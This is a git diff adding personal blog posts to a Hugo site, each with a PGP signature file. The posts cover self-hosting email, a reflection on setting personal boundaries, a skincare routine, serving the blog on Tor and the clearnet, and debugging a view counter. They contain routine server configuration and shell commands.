addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP. + +Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street. + +One setting decides whether this feels cursed or calm: `mydestination`. + +That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is `mail.alipourimjourneys.ir` and you also leave that name in `mydestination`, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set `mydestination` to localhost and let the mail domain be virtual. Suddenly the model matched reality. + +PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.” + +One more client quirk: some apps send only `ialipour` as the username. The database stores `ialipour@mail.…`. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or `local-part@mail.alipourimjourneys.ir` did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private. + +--- + +## Webmail without losing the plot + +Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres. + +I flirted with serving it under a path like `/webmail` on the main mail hostname while also serving it at the root of `webmail.…`. Roundcube has opinions about its base path. If you tell it “you live under `/webmail`” and then put it at `/` on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates. + +The calm ending: Roundcube lives at `https://webmail.alipourimjourneys.ir/` as the site root. The portal links there. Path experiments go in the diary under “character development.” + +--- + +## The bounce emails that taught me about identity + +After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail `root`. My system identity still thought the local domain was `mail.alipourimjourneys.ir`, so `root` became `root@mail.alipourimjourneys.ir`. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house. + +The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased `root` to my real virtual address so necessary noise still reaches a human. `myhostname` can still announce itself as `mail.…` on the SMTP banner. Different knobs, different jobs. + +Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving `vmail` ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior. + +And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in `/var/log/mail.log` so repeated guessing gets a timeout instead of an unlimited hobby. + +--- + +## What “done” means for me + +For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at `mail.alipourimjourneys.ir`, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands. + +Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.” + +If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on. + +--- + +### Links + +- Portal: [mail.alipourimjourneys.ir](https://mail.alipourimjourneys.ir) +- Webmail: [webmail.alipourimjourneys.ir](https://webmail.alipourimjourneys.ir) +- Admin: [mailadmin.alipourimjourneys.ir](https://mailadmin.alipourimjourneys.ir) + + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/self_hosting_mail.md.asc b/public-clearnet/sources/posts/self_hosting_mail.md.asc new file mode 100644 index 0000000..8a6f4d7 --- /dev/null +++ b/public-clearnet/sources/posts/self_hosting_mail.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20= +=KCRU +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/setting_boundries.md b/public-clearnet/sources/posts/setting_boundries.md new file mode 100644 index 0000000..fa712d8 --- /dev/null +++ b/public-clearnet/sources/posts/setting_boundries.md @@ -0,0 +1,28 @@ ++++ +title = 'Setting Boundries' +date = 2025-12-04T14:38:36Z +draft = false ++++ + +I was watching [this video](https://www.youtube.com/watch?v=MQzDMkeSzpw) the other day. It's an interesting video imo. This is something I've been also dealing in my therapy sessions lately too. Why am I the way I am? Why do I case so much about what others think? Why do I keep giving my best to them, though they literally do not give the slightest of shit about me unless they need something from me? + +Funnily enough, my therapist believes I do this as a survival mechanism. That it all comes from my childhood. Being born in a family with a high achiever dad, and brother, and being pushed to become better. Being compared to whoever was better than me in any regards all the time. The toxicity of this stayed with me throughout my life. I had to always be the best. I had to always try harder. I had to earn other's respect. Naturally that evolved into me becoming a people please. A so called "nice person". I've even been made fun of with those words. + +All of it for earning the validation I never received for being myself as a kid. All of it for receiving conditional love. And now I'm broken. When people act cold with me, I assume they don't like me. Then I want to fix things. Then I become annoying. I look like an "anxiously attached" person. + +But then there is a big part of me that wants to keep doing this. The problem is the second part. The part where I expect validation, but conditional validation. It's sad, and it's eating at my everything. I feel exhausted. I feel tired. I feel like every connection of mine is breaking apart. Connections I worked so hard to form. People I tried so hard to please. + +So... I made a decision. To stay away from everyone. To make distance. + +The doubt came in quickly. I became scared that I might lose my connections, the connections I truly adore, the connections I don't want to lose. But it's part of the healing process. I need to be able to create distance, and set boundries without fear of being abandoned. And if along the way I lose some people, maybe they were never really my friends in the first place? + +The part I'm making mistake in is that everyone thinks something bad has happened. And they "probably" expect me to talk to them about it. Now this is the part I had to work on. The "setting boundry" part. I don't know if I can do it respectfully or not. I know I will break if I talk. + +I don't really like to stay away from people, to push my friends away. But for now, I have to. I hope I won't regret any of these actions. I hope I can heal. I don't know what will happen next, I just know that I don't want to hangout in large groups for a while. I don't want to be happy. I want to mourn. I need to mourn. I hope I heal. I hope I won't turn into an incel. I know I won't. I know I push through. I know... + + + + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/setting_boundries.md.asc b/public-clearnet/sources/posts/setting_boundries.md.asc new file mode 100644 index 0000000..3f3467f --- /dev/null +++ b/public-clearnet/sources/posts/setting_boundries.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbusACgkQtYgoUOBM +jSpGcg/+O/7gsSe5s82yq4fSOU0rrioTf3+LMkSl7ceo+gPJlW4CiGfkvYqQ2Gvo +7IFLlxYoThRgcQ02jJxDA6dm8Uqy9566I6yBhi4Prn2EDIH0GKOjCrbSak9HGPE2 +HtL9BrHaU+kAbeh03Pr1RJ1jH/LDqDRTbrV6jZzN7bnCut4cPwW3ItX69VobFq2/ +v+mJtSU6DTllTVJFomaDx0K8fX1hmLDHfgGT/UEGdWj/Zx6RFCBU3195GThm+3Gv +Dg5fX1vj9ZEtNMr1T+lWEfpeECqa04c4wRxkXEIrS2DcLnz7gCl49can0nGVehJr +vyx4WJ2eeG+spDG8cYPK9nTGu7xrsw5TxmPjkGbMe7A6lOtedbsCuJeyx8YWFk3c ++O0170uxBWoAF2ugA986PZ13eUU6F9BxXzj+bQV72LdqL6eszUFyeuhxHuMs0Q9s +EjrKVkFsHZaMuc1r2mcYRZG+BkgyELZiyBnToNj6IRwmno6XwGpjfEb9PJ/MZ+sf +OLQReEoQRCf5Xaj3ZACRq7zk8UCHpu22MkyNMLd97YSuRGu7JyD/88OHigakjmdJ +oCML5WEG+9/EIcEfSj+GdUA5fEdzXB/FJ2SoUHzQQWiFtxUqKKCPlvM3rqCfwsLE +CIQBkMt8eJ7gUq+xQAg+BosLLMl1PgCQCOMml0omPyDv36vbnos= +=oJ5s +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/skin_routine.md b/public-clearnet/sources/posts/skin_routine.md new file mode 100644 index 0000000..0e4f421 --- /dev/null +++ b/public-clearnet/sources/posts/skin_routine.md @@ -0,0 +1,74 @@ ++++ +title = 'Skin routine' +date = 2025-10-20T18:47:04Z +draft = false +description = "My skin routine!" ++++ + + +I don't know how to answer the "why?" or "whyyyyy?" or even "why the f\*\*\*?" I have a skin routine. +Last year, after I came to Germany, I asked a female friend about how to do skin care. +She touched my face and said, "Knock on wood, you have good skin!". +So... idk why I decided to take extra care of my skin, but I did! + +Generally speaking, things like this make me feel good about myself. +Like I'm doing something positive while not being tortured! +It's always fun to rub cream on your face or gently massage it. +Even cleaning the face skin feels refreshing. +Everything also smells nice! + +Oh... and yeah, idk why I'm not good at excercising, but I really like to do things like this! +Weird. +I should definitely start going to the gym and working out. +It is needed for me. + +So... I decided to watch a few Youtube videos, and a guide about skin care for men. +My routine is super simple! +I have a face cleanser that I use first and wash my face with it. +It always feels refreshing and nice to use it! +I initially bought the CeraVe cleaner, but switched to "Jack Black Pure Clean Daily Facial Cleanser" after that one ended. +The cleanser deeply cleans your skin, and almost all of the bad things that might be on your skin. +You don't need to use the cleanser in the morning, but you should definitely use it at night. +It's ok to wash your face with water in the morning. + +The next step for me is applying the toner. +I use "NIVEA Derma Skin Clear Toner". +It smells really nice and is quite refreshing to apply to the skin! +The toner adjusts the PH of your skin, and deep cleans things that the cleanser could not. +I gently rub it and let it dry; no rinsing is required here. + +After this, I apply an exfoliant to exfoliate my skin. +I've been using "Paula's Choice Skin Perfecting 2% BHA Liquid Exfoliant" so far, but this time I got "BULLDOG Original Exfoliating Face Scrub for Purer Skin". +Haven't used it yet, but Paula's choice one is definitely good. +The thing with it is that you don't have to massage it; it's not physical; it's an acid. +I prefer the scrubby ones, but I think these are better for your skin. +I'll see how I like the new one, and if I prefer it or not. +No rinsing is required here either. + +I then apply my eye cream, which is also from CeraVe. +Haven't really seen much of a difference under my eyes, but it is supposed to help. +I don't know! It feels good to apply the eye cream regardless. + +The next step for me is the best one! +Moisturiser. +Yayy!!! +It actually feels weird to use a moisturiser since I've watched Mortuary Assisant's gameplay, and the last step there for embalming the body is applying moisturiser. +Feels weird. +The one I use is water-based, hence perfect for men. +I use "Neutrogena Hydro Boost Aqua Gel Moisturiser". +As a man, if you use oil-based products, you'll get acne. +So don't. + +I learned to use pads for applying some of these stuff, it feels cooler when applying the things to your face, and it specifically feels good when you gently tap your face with a cotton pad! ^^ + +And... last but not least is applying sun screen. +Nothing special here. +I just make sure to use SPF 50+ sunscreen for better protection. + +Even if it does nothing, it still makes me feel good about myself. + +The whole routine does not take more than 10 min, but gives me an energy boost and a lot of good vibes both at night and in the morning! + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/skin_routine.md.asc b/public-clearnet/sources/posts/skin_routine.md.asc new file mode 100644 index 0000000..416380b --- /dev/null +++ b/public-clearnet/sources/posts/skin_routine.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM +jSpuHQ//XvJ3YkPuPbDbaBf9PcLKftYmTRA2WWn14l1ZnLAav0MeEPVlwENAMQ5W +hwAwfw1yF1KxMwLcskXYTpghSfIHegDjaXJqWctBQFJ8sdCUJNQyk+LTcJ1EXmED +HhZrZJw8UsFcgyLs56pbBsIjjFMI4PbFWPxLgPu+tEpgIY8fSXzIb/gsUb/K3vZb +JsDUyLjHwsoCn9oQFp/hE54i3LjuWtPipnSlxmWUx7AhtZUVICCQJP3/KelhXQdi +2fPmTsVNIzRtCxjnwII6KZtqKtj1mEaIFmmykKIsRpyNIRvNjDFkCxor+NAYKJmC +veUzhll/LpNDAnrMAZ8ykEyhInlIHFtsH8PKiWDUhhrP4eggLmnBBFYVHrZ36BU9 +48pn5odcK1Pz37rHwQKqm8RgL5PC09s2XWo6BJZGUwHjMDq8Kxtswp5JrRsAlmmi +8yk4/W4ASJfrE5ns+PSC24ogyNx/tu/2NiT5IlmpSilr5CGN9HhbfvXERM3OGHwF +MeTRc61McdgHDHvg0V1PdE4Pe/wLZgzKHu/H+1E04P1uVHj102RXV7HFfYYDv59b +suCSlTj/j2dNZuwGaw8wG2U17nGng9XkCJ1J2xXKKUb2gqIpOHVPF3yRGBnZwvpX +1bPgM8l3ItO6T55D4Ala2glHtQnhJRmi9GcdI47GpNoc2PWWKrA= +=dBAx +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/tor_clearnet_blog.md b/public-clearnet/sources/posts/tor_clearnet_blog.md new file mode 100644 index 0000000..f3d04bd --- /dev/null +++ b/public-clearnet/sources/posts/tor_clearnet_blog.md @@ -0,0 +1,290 @@ +--- +title: "Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod" +date: 2025-09-19 +tags: ["tor", "nginx", "hugo", "papermod", "cloudflare", "letsencrypt"] +categories: ["DevOps", "Notes"] +description: "How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy." +draft: false +ShowToc: true +TocOpen: true +--- + +> TL;DR — The site is built once (Hugo project), **published twice**: +> - **Onion**: `http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/` via Tor, no TLS/HSTS, bound to `127.0.0.1:3301`. +> - **Clearnet**: `https://blog.alipourimjourneys.ir` behind Cloudflare, Let’s Encrypt cert, `Onion-Location` header pointing to the onion mirror. + +--- + +## 1) Tor hidden service (onion) basics + +I used Tor’s v3 onion services and mapped onion port 80 → my local web server on `127.0.0.1:3301`. + +**Install & configure Tor (Debian/Ubuntu):** +```bash +sudo apt update && sudo apt install -y tor +sudoedit /etc/tor/torrc +``` + +Add: +``` +HiddenServiceDir /var/lib/tor/hidden_site/ +HiddenServicePort 80 127.0.0.1:3301 +``` + +Make sure the directory is owned by Tor’s user and private: +```bash +sudo mkdir -p /var/lib/tor/hidden_site +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site +sudo chmod 700 /var/lib/tor/hidden_site +``` + +**Important:** use the right systemd unit: +```bash +# validate as the Tor user +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config + +# (re)start the real service +sudo systemctl enable --now tor@default +sudo systemctl restart tor@default +``` + +Get the onion address: +```bash +sudo cat /var/lib/tor/hidden_site/hostname +``` + +Quick check (do remote DNS via SOCKS): +```bash +curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)" +``` + +--- + +## 2) Nginx for the onion (localhost-only) + +I keep the onion site strictly on localhost: **no HTTPS, no redirects, no HSTS**. Tor already provides e2e encryption and authenticity. + +`/etc/nginx/sites-available/onion-blog`: +```nginx +server { + listen 127.0.0.1:3301 default_server; + server_name .onion 127.0.0.1 localhost; + + # keep onion simple; no HSTS/redirects here + add_header Referrer-Policy no-referrer always; + add_header X-Content-Type-Options nosniff always; + add_header X-Frame-Options SAMEORIGIN always; + # (optional) strict CSP so nothing leaks to clearnet + # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always; + + root /srv/hugo/mysite/public-onion; + index index.html; + + location / { try_files $uri $uri/ /index.html; } + location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ { + access_log off; + add_header Cache-Control "public, max-age=31536000, immutable"; + try_files $uri =404; + } +} +``` + +Enable/reload: +```bash +sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog +sudo nginx -t && sudo systemctl reload nginx +``` + +> Gotcha I hit: I had **two** server blocks on `127.0.0.1:3301`, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it `default_server`). Also, if you ever use a regex in `server_name`, the syntax is `server_name ~* \.onion$` (note the space after `~*`). + +--- + +## 3) Hugo + PaperMod setup (and version bumps) + +PaperMod now requires **Hugo Extended ≥ 0.146.0**. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read `/srv` paths by default). + +```bash +# install Hugo extended (example) +VER=0.146.0 +cd /tmp +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz +sudo mv hugo /usr/local/bin/hugo +hugo version # should say "extended" and >= 0.146.0 +``` + +Create the site and theme: +```bash +sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo +cd /srv/hugo +hugo new site mysite +cd mysite +git init +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod +``` + +**Config updates:** in newer Hugo, `paginate` is deprecated → use: +```toml +# config/_default/hugo.toml +title = "My Blog" +theme = "PaperMod" +enableRobotsTXT = true + +[pagination] + pagerSize = 10 + +[params] + defaultTheme = "auto" + showReadingTime = true + showPostNavLinks = true + showBreadCrumbs = true + showCodeCopyButtons = true +``` + +I added per-environment overrides so I can build two outputs with different `baseURL`s: + +```toml +# config/clearnet/hugo.toml +baseURL = "https://blog.alipourimjourneys.ir/" + +# config/onion/hugo.toml +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/" +``` + +--- + +## 4) Dual builds (clearnet + onion) and one-command deploy + +I publish the same content twice—once for each base URL and docroot: + +```bash +cd /srv/hugo/mysite +# clearnet build (served over HTTPS) +hugo --minify --environment clearnet -d public-clearnet +# onion build (served via Tor) +hugo --minify --environment onion -d public-onion +sudo systemctl reload nginx +``` + +Helper script I use: +```bash +sudo tee /usr/local/bin/build-both >/dev/null <<'EOF' +#!/usr/bin/env bash +set -euo pipefail +cd /srv/hugo/mysite +hugo --minify --environment clearnet -d public-clearnet +hugo --minify --environment onion -d public-onion +sudo systemctl reload nginx +echo "Deployed both at $(date)" +EOF +sudo chmod +x /usr/local/bin/build-both +``` + +While editing, I sometimes auto-rebuild on file save: +```bash +sudo apt install -y entr +cd /srv/hugo/mysite +find content layouts assets static config -type f | entr -r build-both +``` + +--- + +## 5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01) + +Cloudflare is set to **Full (strict)**. I issued a public cert for `blog.alipourimjourneys.ir` using **manual DNS-01** (no API token): + +```bash +sudo snap install --classic certbot +sudo certbot certonly --manual --preferred-challenges dns -d blog.alipourimjourneys.ir --agree-tos -m you@example.com --no-eff-email +``` + +Certbot tells you to add a TXT record `_acme-challenge.blog.alipourimjourneys.ir`. Add it in Cloudflare DNS, verify with `dig`, then continue. Cert ends up at: +``` +/etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem +/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem +``` + +Clearnet Nginx vhosts: + +```nginx +# HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway) +server { + listen 80; listen [::]:80; + server_name blog.alipourimjourneys.ir; + return 301 https://blog.alipourimjourneys.ir$request_uri; +} + +# HTTPS origin (behind Cloudflare) +server { + listen 443 ssl http2; listen [::]:443 ssl http2; + server_name blog.alipourimjourneys.ir; + + ssl_certificate /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem; + + # HSTS on clearnet only + add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always; + + # Help Tor Browser discover the onion mirror (safe on clearnet) + add_header Onion-Location "http://.onion$request_uri" always; + + root /srv/hugo/mysite/public-clearnet; + index index.html; + + location / { try_files $uri $uri/ /index.html; } +} +``` + +> Note: don’t add HSTS or HTTPS redirects to the **onion** vhost. Keep onion pure HTTP on localhost. + +--- + +## 6) Troubleshooting I ran into (and fixes) + +- **Tor unit confusion:** `tor.service` is a tiny master; the real daemon is `tor@default`. Use that unit and verify config as `debian-tor`. +- **Permissions:** `HiddenServiceDir` must be owned by `debian-tor` and mode `700`. +- **Mapping mismatch:** If `HiddenServicePort 80 127.0.0.1:3301` is set, visit `http:///` (no `:3301`). If you set `HiddenServicePort 3301 127.0.0.1:3301`, you must use `http://:3301/`. +- **Curl & .onion:** modern curl refuses `.onion` unless you use remote DNS via SOCKS: + ```bash + curl -I --socks5-hostname 127.0.0.1:9050 "http:///" + ``` +- **Two Nginx vhosts on the same port:** I had a duplicate server on `127.0.0.1:3301` pointing somewhere else, which caused onion 404s. Keep only one (or mark one `default_server`). +- **Regex in `server_name`:** if you use it, write `server_name ~* \.onion$` (space after `~*`). I fixed an `invalid variable name` error caused by a missing space. +- **PaperMod with old Hugo:** upgraded to **extended ≥ 0.146.0**. Also updated `paginate` → `[pagination].pagerSize`. +- **Snap confinement:** Snap’s `hugo` couldn’t read `/srv` (`.../void: permission denied`). Switched to the tarball build in `/usr/local/bin`. + +--- + +## 7) “Not secure” in Tor Browser? + +That message can appear because onion uses **HTTP**. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference **clearnet** resources (scan the built HTML for `http(s)://` links that aren’t your onion). + +--- + +## 8) Day-to-day workflow + +- Create content: + ```bash + hugo new posts/my-first-post.md # then set draft: false + ``` +- Publish both: + ```bash + build-both + ``` +- (Optional) Auto on save: + ```bash + find content layouts assets static config -type f | entr -r build-both + ``` +- (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs `build-both`. + +--- + +## Final notes + +- Clearnet gets **HTTPS + HSTS** and an `Onion-Location` header. +- Onion gets **no HSTS/redirects**, and all assets are self-hosted to avoid mixed content. +- Serving both worlds from one Hugo repo is easy: **two builds, two vhosts, one workflow**. + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/tor_clearnet_blog.md.asc b/public-clearnet/sources/posts/tor_clearnet_blog.md.asc new file mode 100644 index 0000000..40ec603 --- /dev/null +++ b/public-clearnet/sources/posts/tor_clearnet_blog.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM +jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba+znAc1rCWJuzwHe2Ih0aYsq7d +DMWRkpE9YTfQl/kSYpzlk96KCKv+6lHQXqcPyq+nQTDl/D7iCaOhb8Dog3W/2qN4 +6G05f47EoiOJY+G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD+x4y4 +UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo +FwGfnomCwVwd5GpaP7LQdtP/a+x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm +slRx0+P27gH+CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC+rZnHXPCdbsZ +TTiwtJ/jLLbX+NfycW9qR6gVxloO35QA90AY7050tOgAsyH+YUn+Rtj2KVj91E0o +VzljG7RAly7yTe+yxzC6OO+iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/ +OrTnJ8fJqq+XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ +N6VbRTRfq2Vnp+A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8 +700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM= +=QlNw +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/view_count.md b/public-clearnet/sources/posts/view_count.md new file mode 100644 index 0000000..0ab5416 --- /dev/null +++ b/public-clearnet/sources/posts/view_count.md @@ -0,0 +1,400 @@ +--- +title: "A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)" +date: 2025-10-18T10:45:00 +slug: papermod-views-debugging-story +summary: "I tried to add a simple 'views' counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix." +tags: ["Hugo", "PaperMod", "Analytics", "Debugging", "Busuanzi", "Vercount", "GoatCounter"] +categories: ["Stories"] +draft: false +--- + +I only wanted a tiny **“views”** badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day. + +The thing is, I don't think the counter even works correctly. +Or maybe I'm undermining my blog popularity! +But regardless, it was a small stiching task that I did on this lovely Friday evening. +The day before my next term of German class starts. +The day before playing deadface CTF that I've been counting days for. + + +### The neat footer row + +First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side: + +```html +
    + + { partial "svg.html" (dict "name" "rss") } + RSS + + + + + + Site views: + + + + Visitors: + +
    +``` + +So far, so good. The labels showed up. The numbers, though? **Nothing.** Just an em dash. I shrugged—maybe it was a caching thing. + +### The first round of checks + +I added the script site‑wide in `layouts/partials/extend_head.html`: + +```html + +``` + +Refreshed. Still blank. + +**DevTools time.** Network tab: the script **does** load: +- **Request URL:** `https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js` +- **Request Method:** GET +- **Status Code:** 304 Not Modified +- **Referrer Policy:** strict-origin-when-cross-origin +- **User-Agent:** a normal Chromium build (nothing exotic) + +No red flags. Just a perfectly normal 304. + +Maybe my IDs were wrong? Busuanzi has a couple of flavors: `busuanzi_value_*` (with container wrappers) or shorthand like `busuanzi_site_pv`. I tried **both**, carefully, one at a time. Still… **—**. + +### The odd message + +Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right: + +> **“域名过长,已被禁用 views”** + +That’s “domain name too long, disabled.” Wait, what? + +I checked my hostname: **`blog.alipourimjourneys.ir`**. I counted: **27 characters**. Busuanzi’s limit? **22.** Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill. + +### Two ways out + +At this point I had two clean options: + +1. **Keep Busuanzi** and move the site to the **apex domain** (short enough). +2. Keep my beloved `blog.` subdomain and swap in **Vercount**, a Busuanzi‑style drop‑in without the 22‑char limit. + +I liked the subdomain (habit, mostly), so I tried **Vercount**. + +### The swap (five-minute fix) + +I removed the Busuanzi script and added Vercount instead: + +```html + + +``` + +I kept the same tidy footer row, but switched the IDs to Vercount’s: + +```html +
    + + { partial "svg.html" (dict "name" "rss") } + RSS + + + + + Site views: + + Visitors: +
    +``` + +For per‑post counts (in the post meta), I added: + +```html + views +``` + +Deploy. Refresh. **Numbers.** + +### But if you want to stay with Busuanzi… + +If your apex domain is short enough, pointing the site there works fine. The gist: + +- Set `baseURL` in Hugo to the apex: + + ```toml + baseURL = "https://alipourimjourneys.ir/" + ``` + +- Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool). +- Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate. + +### Post‑mortem checklist (a.k.a. things I learned) + +- **If the script loads but you get blanks**, it’s not always IDs or caching. Sometimes it’s a **service rule**. +- **Busuanzi refuses long hostnames** (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note. +- **Don’t mix providers** on the same page. Load exactly one script (Busuanzi *or* Vercount). +- **CSP and blockers matter.** If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin. + +### Happy ending + +Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles. + +If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of. + +### Final notes +Yea... I just felt this feature was missing, and it's good to have it there. +I hope I stop adding things to the blog, and just keep writing in it. +I've spent too much time on it, and it feels like wasted time. + + +--- + + +## Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion) + +This is the **self‑host** part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my `.onion` mirror 